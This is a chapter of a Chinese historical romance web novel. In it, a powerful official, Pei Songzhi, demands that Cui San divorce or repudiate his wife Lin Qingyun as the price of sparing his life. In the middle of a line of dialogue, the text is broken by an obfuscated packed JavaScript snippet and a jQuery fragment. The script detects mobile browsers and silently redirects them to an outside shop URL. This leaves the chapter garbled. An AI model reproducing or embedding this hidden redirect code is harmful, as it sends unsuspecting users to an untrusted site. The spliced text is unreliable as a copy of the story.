林青云登时后背发凉。
“三郎,到底此事最终还是要你首肯才行……”她深呼吸几口镇定下来,声音却有些不易察觉的颤抖,“眼下还是保你出去最要紧……你好好养伤,不要心急……”
崔时清眼皮微微翕动,望向林青云。
娘子遇事总是比他更镇定些。
“娘子说的是,”他轻轻握住林青云手掌道,“要我二人和离,庚帖要过了官府,总得我二人签下和离书才行,单母亲一人做不成什么。”
他勉强笑了笑,起身让晋林在身下铺了一件外袍隔开稻草:“娘子早些回家观望情形吧,今日是休沐日,听说裴颂之要午后才会来审案,我还有些时候休养,先回家打探他透了什么消息更要紧些。”
林青云应下正要起身,却忍不住又回头道:“三郎……”
“快去吧,娘子,这件事总会过去的。”崔时清笑道,“快回去吧。”
裴颂之到得崔府是在巳正时分,如崔时熹所料,不早不晚,恰恰好是在巳正。
虽是在休沐日,他还是穿了一身绯色圆领袍,扣了一条镶金革带,远看身长笔挺如松如鹤,近看更是面若桃花,眉似墨画。崔时熹这还是头回近身打量此人,却也不得不心下感叹了一句,怪道人说他是玉面修罗,任谁看到这么艳丽一张脸也难以将他与京中大小官吏闻风丧胆的检事司使联系到一起。
可偏偏这就是同一人。
“崔尚书,崔都事。”裴颂之见二人先出来迎过了,礼节不少,笑着作了揖,叫身后哑仆送上见面礼,“初次登门,裴某预备了些薄礼。”
崔时熹与二叔对视了一眼,又与裴颂之笑道:“裴少卿多礼了,还请裴少卿往内堂来用些茶点歇一歇。”
茶水点心送上来,一时三人都没有率先开口,场面便陷入静寂,倒教崔时熹有些坐立不安,望了一眼叔父。
崔二叔便笑道:“说来从前与裴少卿有过一面之缘,当时便想裴少卿相貌堂堂,文采斐然,远非池中之物,不想今日重逢,裴少卿已是青云直上,身披朱紫,算得少俊中佼佼者了。”
一句话,先将裴颂之捧起来,他便不好再下脸面。
裴颂之微微勾起唇角,似笑非笑道:“此事说来还要谢过崔尚书。”
崔二叔一愣:“裴少卿这是何意?”
“若非当初崔尚书主持退了裴某与青云的婚约,裴某也想不到要投身入仕,在京中行卷干谒,这才得了从前的杨昭仪、今天的杨皇后赏识入宫校书编档,”他朝天拱了拱手道,“如今得皇后殿下提拔入检事司兼任大理寺少卿,细细追根究底起来却是因为这么一次上京,当真是阴差阳错,造化弄人。”
他说完似乎是犹嫌不足,执了茶盏笑道:“若无当日,裴某一介寒门子,今日想必仍在家中务农为生。”
这下崔二叔面色也很有些难看起来。可到底形势比人强,如今是裴颂之捏着三郎的性命,只要他认定了三郎参与李义秋结党营私要为废后翻案之事,以当今皇后睚眦必报的性子,三郎便必死无疑。且再不能翻案。
“这便是裴少卿妄自菲薄了,”崔二叔脸上有些发酸,却拼命抬了两颊挤出一个笑来,“以裴少卿才学相貌,怎会怀才不遇以致郁郁久居人下呢?当日若非裴少卿仍在居丧中,崔某也愿为裴少卿引荐一二。”
裴颂之此时终于从茶盏里抬起头,看着崔二叔笑了一声:“哦,是吗?”
这等社交辞令,听来实在好笑。
他裴颂之昔日为白身寒门子时,五姓世族眼高于顶,他来退婚乃至都险些被拒之门外;如今投了杨皇后在京中也成了服朱着紫之人,这些人便立时是笑脸也有了,郡望也攀上来了——河东裴氏早有人来递了帖子说与他是连宗,三百?或者五百年前是一家。
真是笑话,他裴颂之祖居利州,与河东裴氏隔了不知几重山几道水,有朝一日竟也能攀一个连宗。
也就林青云那小娘子不识得好歹,只当五姓世族是好的,当年卯着劲嫁了崔三,一心只想当崔家夫人,如今在内受婆母的气,在外不知圣人与杨皇后有意削弱世族,却还要扒着崔三那么个软弱东西不放。
也不知崔三到底哪点好。
真真是势利又没得眼界的妇人,半点不知道一姓之内再是百年望族经久不衰,可一家一支的富贵却难得长久。当年国舅势大威重,多少人以为顺从国舅反对废后再立便是好的,哪能想到李后被废,杨后新立,当年支持李后的旧臣功臣都在清算之列。
个人的荣华富贵,都不过是帝王一念之间罢了。
他今日便是要让那小娘子吃下这个教训。
“正是,”崔二叔笑道,“当年见过裴少卿,崔某便与青云提过少卿一表人才,他年必有出头之日,只是当日裴少卿走得急,又有孝在身不能久留,如若不然某也该讲少卿引荐给京中故交,为少卿谋一个登科才是。”
裴颂之一时但笑不语,只呷下一口茶水,留着堂内的静寂如生毛刺,密密扎在崔二叔与崔时熹身上,教人坐立难安。
过了好半晌,手里茶盏见了底,裴颂之才终于启唇,仍是那副似笑非笑神情道:“果真如此,裴某还当谢过崔尚书,在青云面前与裴某说和。”
“不敢……”崔二叔一个“不敢当”没说完,眼睛却缓缓睁大了。
他说什么?
崔二叔不由望向崔时熹,却见对方也是同样一副见了鬼的表情。
“时候不早,裴某便与崔尚书打开天窗说亮话,”裴颂之笑道,将茶盏倒扣在桌案上,发出一声不轻不重的闷响,“若要某摘清崔殿中,在此案中保他性命……”
他轻轻移开茶盏,崔时熹与崔二叔眼神便也顺着他绯红袍袖一并看向桌案边角。
“只有两条路。”裴颂之笑道,“一么,青云与崔殿中和离。”
崔时熹忙道:“第二条路呢?”
裴颂之越发笑弯了眼睛,一双桃花眼底竟似要溢出春水来:“第二条么,便是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568385|204843||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
崔殿中写下休书。”
崔时熹立时便要暴起,却教叔父死死按在坐具上。
“裴少卿,这是强夺他人之妻。”
“哦,是吗?”裴颂之笑道,“崔殿中与青云私交之时,莫非没想过是要强夺裴某之妻么?”
“非也。”他轻轻摇头,指尖渐次点在茶盏底,敲出一串不算清脆的哑音,“不过是崔三公子从不将裴某一介寒门小人放在眼里罢了。崔尚书当日挽留之情裴某心中感铭,今日才特意前来拜访。
“只是这夺妻之恨,裴某却是不能揭过的。”
“裴某午后还要往检事司审案,今日便不多留。条件方才裴某已说过了,崔尚书,崔都事好生思量着。”裴颂之站起身,恰逢哑仆从偏门进来,与他打了几个手势。
“林青云带着大夫又去看望崔三了”。
裴颂之当即变了脸色。
崔三到底哪点好,她明眼看着崔三一个将死之人还要这般不离不弃,还专程挑着他不在检事司的空档去看望夫君。
好一个夫妻情深相濡以沫,她就这么放不下崔三么!
他一时惊怒,袖子一拂便要扬长而去——得好好让她晓得如今谁才是圣人与皇后眼前的红人。
“这位便是裴少卿?”
裴颂之才走出门,便教一妇人拦了去路。
是李夫人。
不奇怪,他昨夜里可是特意教检事司底下的探子找了个崔府几个主事都在场的时候才叫小吏送拜帖过来。只不过今日没见李夫人,只当是崔氏这两个男人将她排除在外了,现下见到,看来是鱼儿上钩了。
他微微挑眉,躬身笑道:“晚辈裴颂之,见过李夫人。崔殿中如今安然无恙,李夫人不必过于忧心。”
“安然无恙?”李夫人抬起头望着他,“那……那我儿……三郎何时能归家?三郎清清白白一个人,必不会污蔑皇后殿下……!”
“夫人莫急。”裴颂之笑道,虚虚扶起李夫人手臂将身后赶来的崔家两个男人隔开,“崔殿中既无涉此案,总是要安然归家的,夫人不必忧虑。”
李夫人道:“裴少卿所言不虚么?”
“晚辈怎敢欺瞒夫人?”裴颂之轻轻摇头,半垂下眼帘时候看着当真是个恭敬谦让的小辈,“晚辈所言自然是真,只是晚辈也有条件。”
李夫人浑身一凛,忙道:“什么条件?金银?还是田宅?只要能保三郎平安,裴少卿要什么我崔府尽皆奉上。”
“都不是。”裴颂之缓缓摇头,声音放轻了,带着李夫人背对着崔时熹二人,“晚辈不需这些身外之物。”
“那你要什么?”
“晚辈只要一封和离书。”裴颂之话音很慢很低,倒像是仆婢熨衣裳时的铁板,暖乎乎的,平整了李夫人心绪,“只要崔殿中一封放妻书,晚辈便即令崔殿中归家。”
他这才回头。对崔时熹二人笑道:“也希望崔尚书与崔都事再仔细思量些。崔殿中体弱,恐怕等不得许多时日。”